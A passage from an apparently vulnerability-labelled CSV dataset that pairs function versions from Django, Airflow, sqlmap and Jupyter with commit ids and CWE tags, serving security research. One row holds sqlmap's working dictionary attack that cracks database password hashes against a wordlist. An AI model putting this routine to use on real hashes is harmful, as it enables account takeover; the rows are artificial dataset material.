                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(instance=self.model(), prefix=prefix)
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)"
,UNKNOWN,UNKNOWN,tests/forms_tests/tests/test_widgets.py,1,"def test_checkboxselectmultiple(self):
        w = CheckboxSelectMultiple()
        self.assertHTMLEqual(w.render('beatles', ['J'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('beatles', ['J', 'P'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('beatles', ['J', 'P', 'R'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If the value is None, none of the options are selected:
        self.assertHTMLEqual(w.render('beatles', None, choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If the value corresponds to a label (but not to an option value), none of the options are selected:
        self.assertHTMLEqual(w.render('beatles', ['John'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If multiple values are given, but some of them are not valid, the valid ones are selected:
        self.assertHTMLEqual(w.render('beatles', ['J', 'G', 'foo'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # The value is compared to its str():
        self.assertHTMLEqual(w.render('nums', [2], choices=[('1', '1'), ('2', '2'), ('3', '3')]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('nums', ['2'], choices=[(1, 1), (2, 2), (3, 3)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('nums', [2], choices=[(1, 1), (2, 2), (3, 3)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")

        # The 'choices' argument can be any iterable:
        def get_choices():
            for i in range(5):
                yield (i, i)
        self.assertHTMLEqual(w.render('nums', [2], choices=get_choices()), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""0"" /> 0</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""4"" /> 4</label></li>
</ul>"""""")

        # You can also pass 'choices' to the constructor:
        w = CheckboxSelectMultiple(choices=[(1, 1), (2, 2), (3, 3)])
        self.assertHTMLEqual(w.render('nums', [2]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")

        # If 'choices' is passed to both the constructor and render(), then they'll both be in the output:
        self.assertHTMLEqual(w.render('nums', [2], choices=[(4, 4), (5, 5)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""4"" /> 4</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""5"" /> 5</label></li>
</ul>"""""")

        # Choices are escaped correctly
        self.assertHTMLEqual(w.render('escape', None, choices=(('bad', 'you & me'), ('good', mark_safe('you &gt; me')))), """"""<ul>
<li><label><input type=""checkbox"" name=""escape"" value=""1"" /> 1</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""bad"" /> you &amp; me</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""good"" /> you &gt; me</label></li>
</ul>"""""")

        # Unicode choices are correctly rendered as HTML
        self.assertHTMLEqual(w.render('nums', ['ŠĐĆŽćžšđ'], choices=[('ŠĐĆŽćžšđ', 'ŠĐabcĆŽćžšđ'), ('ćžšđ', 'abcćžšđ')]), '<ul>\n<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>\n<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111"" /> \u0160\u0110abc\u0106\u017d\u0107\u017e\u0161\u0111</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""\u0107\u017e\u0161\u0111"" /> abc\u0107\u017e\u0161\u0111</label></li>\n</ul>')

        # Each input gets a separate ID
        self.assertHTMLEqual(CheckboxSelectMultiple().render('letters', list('ac'), choices=zip(list('abc'), list('ABC')), attrs={'id': 'abc'}), """"""<ul id=""abc"">
<li><label for=""abc_0""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""a"" id=""abc_0"" /> A</label></li>
<li><label for=""abc_1""><input type=""checkbox"" name=""letters"" value=""b"" id=""abc_1"" /> B</label></li>
<li><label for=""abc_2""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""c"" id=""abc_2"" /> C</label></li>
</ul>"""""")

        # Each input gets a separate ID when the ID is passed to the constructor
        self.assertHTMLEqual(CheckboxSelectMultiple(attrs={'id': 'abc'}).render('letters', list('ac'), choices=zip(list('abc'), list('ABC'))), """"""<ul id=""abc"">
<li><label for=""abc_0""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""a"" id=""abc_0"" /> A</label></li>
<li><label for=""abc_1""><input type=""checkbox"" name=""letters"" value=""b"" id=""abc_1"" /> B</label></li>
<li><label for=""abc_2""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""c"" id=""abc_2"" /> C</label></li>
</ul>"""""")

        w = CheckboxSelectMultiple()
        r = w.get_renderer('abc', 'b', choices=[(c, c.upper()) for c in 'abc'])
        # You can iterate over the CheckboxFieldRenderer to get individual elements
        expected = [
            '<label><input type=""checkbox"" name=""abc"" value=""a"" /> A</label>',
            '<label><input checked=""checked"" type=""checkbox"" name=""abc"" value=""b"" /> B</label>',
            '<label><input type=""checkbox"" name=""abc"" value=""c"" /> C</label>',
        ]
        for output, expected in zip(r, expected):
            self.assertHTMLEqual(force_text(output), expected)

        # You can access individual elements
        self.assertHTMLEqual(force_text(r[1]),
            '<label><input checked=""checked"" type=""checkbox"" name=""abc"" value=""b"" /> B</label>')

        # Out-of-range errors are propagated
        with self.assertRaises(IndexError):
            r[42]",CWE-79,django/django,907ef9d0d157c47c66bf265dca93a0bee8664ea3,"def test_checkboxselectmultiple(self):
        w = CheckboxSelectMultiple()
        self.assertHTMLEqual(w.render('beatles', ['J'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('beatles', ['J', 'P'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('beatles', ['J', 'P', 'R'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If the value is None, none of the options are selected:
        self.assertHTMLEqual(w.render('beatles', None, choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If the value corresponds to a label (but not to an option value), none of the options are selected:
        self.assertHTMLEqual(w.render('beatles', ['John'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # If multiple values are given, but some of them are not valid, the valid ones are selected:
        self.assertHTMLEqual(w.render('beatles', ['J', 'G', 'foo'], choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))), """"""<ul>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""J"" /> John</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""P"" /> Paul</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""beatles"" value=""G"" /> George</label></li>
<li><label><input type=""checkbox"" name=""beatles"" value=""R"" /> Ringo</label></li>
</ul>"""""")

        # The value is compared to its str():
        self.assertHTMLEqual(w.render('nums', [2], choices=[('1', '1'), ('2', '2'), ('3', '3')]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('nums', ['2'], choices=[(1, 1), (2, 2), (3, 3)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")
        self.assertHTMLEqual(w.render('nums', [2], choices=[(1, 1), (2, 2), (3, 3)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")

        # The 'choices' argument can be any iterable:
        def get_choices():
            for i in range(5):
                yield (i, i)
        self.assertHTMLEqual(w.render('nums', [2], choices=get_choices()), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""0"" /> 0</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""4"" /> 4</label></li>
</ul>"""""")

        # You can also pass 'choices' to the constructor:
        w = CheckboxSelectMultiple(choices=[(1, 1), (2, 2), (3, 3)])
        self.assertHTMLEqual(w.render('nums', [2]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
</ul>"""""")

        # If 'choices' is passed to both the constructor and render(), then they'll both be in the output:
        self.assertHTMLEqual(w.render('nums', [2], choices=[(4, 4), (5, 5)]), """"""<ul>
<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>
<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""4"" /> 4</label></li>
<li><label><input type=""checkbox"" name=""nums"" value=""5"" /> 5</label></li>
</ul>"""""")

        # Choices are escaped correctly
        self.assertHTMLEqual(w.render('escape', None, choices=(('bad', 'you & me'), ('good', mark_safe('you &gt; me')))), """"""<ul>
<li><label><input type=""checkbox"" name=""escape"" value=""1"" /> 1</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""2"" /> 2</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""3"" /> 3</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""bad"" /> you &amp; me</label></li>
<li><label><input type=""checkbox"" name=""escape"" value=""good"" /> you &gt; me</label></li>
</ul>"""""")

        # Unicode choices are correctly rendered as HTML
        self.assertHTMLEqual(w.render('nums', ['ŠĐĆŽćžšđ'], choices=[('ŠĐĆŽćžšđ', 'ŠĐabcĆŽćžšđ'), ('ćžšđ', 'abcćžšđ')]), '<ul>\n<li><label><input type=""checkbox"" name=""nums"" value=""1"" /> 1</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""2"" /> 2</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""3"" /> 3</label></li>\n<li><label><input checked=""checked"" type=""checkbox"" name=""nums"" value=""\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111"" /> \u0160\u0110abc\u0106\u017d\u0107\u017e\u0161\u0111</label></li>\n<li><label><input type=""checkbox"" name=""nums"" value=""\u0107\u017e\u0161\u0111"" /> abc\u0107\u017e\u0161\u0111</label></li>\n</ul>')

        # Each input gets a separate ID
        self.assertHTMLEqual(CheckboxSelectMultiple().render('letters', list('ac'), choices=zip(list('abc'), list('ABC')), attrs={'id': 'abc'}), """"""<ul id=""abc"">
<li><label for=""abc_0""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""a"" id=""abc_0"" /> A</label></li>
<li><label for=""abc_1""><input type=""checkbox"" name=""letters"" value=""b"" id=""abc_1"" /> B</label></li>
<li><label for=""abc_2""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""c"" id=""abc_2"" /> C</label></li>
</ul>"""""")

        # Each input gets a separate ID when the ID is passed to the constructor
        self.assertHTMLEqual(CheckboxSelectMultiple(attrs={'id': 'abc'}).render('letters', list('ac'), choices=zip(list('abc'), list('ABC'))), """"""<ul id=""abc"">
<li><label for=""abc_0""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""a"" id=""abc_0"" /> A</label></li>
<li><label for=""abc_1""><input type=""checkbox"" name=""letters"" value=""b"" id=""abc_1"" /> B</label></li>
<li><label for=""abc_2""><input checked=""checked"" type=""checkbox"" name=""letters"" value=""c"" id=""abc_2"" /> C</label></li>
</ul>"""""")

        w = CheckboxSelectMultiple()
        r = w.get_renderer('abc', 'b', choices=[(c, c.upper()) for c in 'abc'])
        # You can iterate over the CheckboxFieldRenderer to get individual elements
        expected = [
            '<label><input type=""checkbox"" name=""abc"" value=""a"" /> A</label>',
            '<label><input checked=""checked"" type=""checkbox"" name=""abc"" value=""b"" /> B</label>',
            '<label><input type=""checkbox"" name=""abc"" value=""c"" /> C</label>',
        ]
        for output, expected in zip(r, expected):
            self.assertHTMLEqual(force_text(output), expected)

        # You can access individual elements
        self.assertHTMLEqual(force_text(r[1]),
            '<label><input checked=""checked"" type=""checkbox"" name=""abc"" value=""b"" /> B</label>')

        # Out-of-range errors are propagated
        with self.assertRaises(IndexError):
            r[42]"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_cleanup_pods.py,1,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""cleanup"": {
                    ""enabled"": True,
                },
            },
            show_only=[""templates/cleanup/cleanup-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True",CWE-703,apache/airflow,550ebe8176a7f54c036e3ae2d25b5b390a4ba7a9,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""cleanup"": {
                    ""enabled"": True,
                },
            },
            show_only=[""templates/cleanup/cleanup-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/hash.py,0,"def dictionaryAttack(attack_dict):
    hash_regexes = []
    results = []

    for (_, hashes) in attack_dict.items():
        for hash_ in hashes:
            if not hash_:
                continue

            hash_ = hash_.split()[0]
            regex = hashRecognition(hash_)

            if regex and regex not in hash_regexes:
                hash_regexes.append(regex)
                infoMsg = ""using hash method: '%s'"" % __functions__[regex].func_name
                logger.info(infoMsg)

    for hash_regex in hash_regexes:
        attack_info = []

        for (user, hashes) in attack_dict.items():
            for hash_ in hashes:
                if not hash_:
                    continue

                hash_ = hash_.split()[0]

                if re.match(hash_regex, hash_):
                    hash_ = hash_.lower()

                    if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
                        attack_info.append([(user, hash_), {}])

                    elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
                        attack_info.append([(user, hash_), {'username': user}])

                    elif hash_regex in (HASH.ORACLE):
                        attack_info.append([(user, hash_), {'salt': hash_[-20:]}])

                    elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
                        attack_info.append([(user, hash_), {'salt': hash_[6:14]}])

        if not kb.wordlist:
            if hash_regex == HASH.ORACLE_OLD: #it's the slowest of all methods hence smaller default dict
                message = ""what's the dictionary's location? [%s]"" % paths.ORACLE_DEFAULT_PASSWD
                dictpath = readInput(message, default=paths.ORACLE_DEFAULT_PASSWD)

            else:
                message = ""what's the dictionary's location? [%s]"" % paths.WORDLIST
                dictpath = readInput(message, default=paths.WORDLIST)

            checkFile(dictpath)

            infoMsg = ""loading dictionary from: '%s'"" % dictpath
            logger.info(infoMsg)
            kb.wordlist = getFileItems(dictpath, None, False)

        infoMsg = ""starting dictionary attack (%s)"" % __functions__[hash_regex].func_name
        logger.info(infoMsg)

        for item in attack_info:
            ((user, _), _) = item
            kb.wordlist.append(getUnicode(user))

        length = len(kb.wordlist)

        if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
            count = 0

            for word in kb.wordlist:
                count += 1

                try:
                    current = __functions__[hash_regex](password = word, uppercase = False)

                    for item in attack_info:
                        ((user, hash_), _) = item

                        if hash_ == current:
                            results.append((user, hash_, word))
                            clearConsoleLine()

                            infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                            if user and not user.startswith(DUMMY_USER_PREFIX):
                                infoMsg += "" for user: '%s'\n"" % user
                            else:
                                infoMsg += "" for hash: '%s'\n"" % hash_

                            dataToStdout(infoMsg, True)

                            attack_info.remove(item)

                        elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                            status = '%d/%d words (%d%s)' % (count, length, round(100.0*count/length), '%')
                            dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                except:
                    warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                    warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                    logger.critical(warnMsg)

            clearConsoleLine()

        else:
            for ((user, hash_), kwargs) in attack_info:
                count = 0

                for word in kb.wordlist:
                    current = __functions__[hash_regex](password = word, uppercase = False, **kwargs)
                    count += 1
                    try:
                        if hash_ == current:
                            if regex == HASH.ORACLE_OLD: #only for cosmetic purposes
                                word = word.upper()
                            results.append((user, hash_, word))
                            clearConsoleLine()

                            infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                            if user and not user.startswith(DUMMY_USER_PREFIX):
                                infoMsg += "" for user: '%s'\n"" % user
                            else:
                                infoMsg += "" for hash: '%s'\n"" % hash_

                            dataToStdout(infoMsg, True)

                            break

                        elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                            status = '%d/%d words (%d%s) (user: %s)' % (count, length, round(100.0*count/length), '%', user)
                            dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                    except:
                        warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                        logger.critical(warnMsg)

                clearConsoleLine()

    if len(hash_regexes) == 0:
        warnMsg  = ""unknown hash format. ""
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)

    if len(results) == 0:
        warnMsg  = ""no clear password(s) found""
        logger.warn(warnMsg)

    return results",,sqlmapproject/sqlmap,e3146464da1ff9edd05513a190e3077f6b2e14bc,"def dictionaryAttack(attack_dict):
    hash_regexes = []
    results = []

    for (_, hashes) in attack_dict.items():
        for hash_ in hashes:
            if not hash_:
                continue

            hash_ = hash_.split()[0]
            regex = hashRecognition(hash_)

            if regex and regex not in hash_regexes:
                hash_regexes.append(regex)
                infoMsg = ""using hash method: '%s'"" % __functions__[regex].func_name
                logger.info(infoMsg)

    for hash_regex in hash_regexes:
        attack_info = []

        for (user, hashes) in attack_dict.items():
            for hash_ in hashes:
                if not hash_:
                    continue

                hash_ = hash_.split()[0]

                if re.match(hash_regex, hash_):
                    hash_ = hash_.lower()

                    if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
                        attack_info.append([(user, hash_), {}])

                    elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
                        attack_info.append([(user, hash_), {'username': user}])

                    elif hash_regex in (HASH.ORACLE):
                        attack_info.append([(user, hash_), {'salt': hash_[-20:]}])

                    elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
                        attack_info.append([(user, hash_), {'salt': hash_[6:14]}])

        if not kb.wordlist:
            if hash_regex == HASH.ORACLE_OLD: #it's the slowest of all methods hence smaller default dict
                message = ""what's the dictionary's location? [%s]"" % paths.ORACLE_DEFAULT_PASSWD
                dictpath = readInput(message, default=paths.ORACLE_DEFAULT_PASSWD)

            else:
                message = ""what's the dictionary's location? [%s]"" % paths.WORDLIST
                dictpath = readInput(message, default=paths.WORDLIST)

            checkFile(dictpath)

            infoMsg = ""loading dictionary from: '%s'"" % dictpath
            logger.info(infoMsg)
            kb.wordlist = getFileItems(dictpath, None, False)

        infoMsg = ""starting dictionary attack (%s)"" % __functions__[hash_regex].func_name
        logger.info(infoMsg)

        for item in attack_info:
            ((user, _), _) = item
            kb.wordlist.append(getUnicode(user))

        length = len(kb.wordlist)

        if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
            count = 0

            for word in kb.wordlist:
                count += 1
                current = __functions__[hash_regex](password = word, uppercase = False)

                for item in attack_info:
                    ((user, hash_), _) = item

                    if hash_ == current:
                        results.append((user, hash_, word))
                        clearConsoleLine()

                        infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                        if user and not user.startswith(DUMMY_USER_PREFIX):
                            infoMsg += "" for user: '%s'\n"" % user
                        else:
                            infoMsg += "" for hash: '%s'\n"" % hash_

                        dataToStdout(infoMsg, True)

                        attack_info.remove(item)

                    elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                        status = '%d/%d words (%d%s)' % (count, length, round(100.0*count/length), '%')
                        dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

            clearConsoleLine()

        else:
            for ((user, hash_), kwargs) in attack_info:
                count = 0

                for word in kb.wordlist:
                    current = __functions__[hash_regex](password = word, uppercase = False, **kwargs)
                    count += 1

                    if hash_ == current:
                        if regex == HASH.ORACLE_OLD: #only for cosmetic purposes
                            word = word.upper()
                        results.append((user, hash_, word))
                        clearConsoleLine()

                        infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                        if user and not user.startswith(DUMMY_USER_PREFIX):
                            infoMsg += "" for user: '%s'\n"" % user
                        else:
                            infoMsg += "" for hash: '%s'\n"" % hash_

                        dataToStdout(infoMsg, True)

                        break

                    elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                        status = '%d/%d words (%d%s) (user: %s)' % (count, length, round(100.0*count/length), '%', user)
                        dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                clearConsoleLine()

    if len(hash_regexes) == 0:
        warnMsg  = ""unknown hash format. ""
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)

    if len(results) == 0:
        warnMsg  = ""no clear password(s) found""
        logger.warn(warnMsg)

    return results"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_settings(self, ipython_app, kernel_manager, contents_manager,
                      session_manager, kernel_spec_manager,
                      config_manager,
                      log, base_url, default_url, settings_overrides,
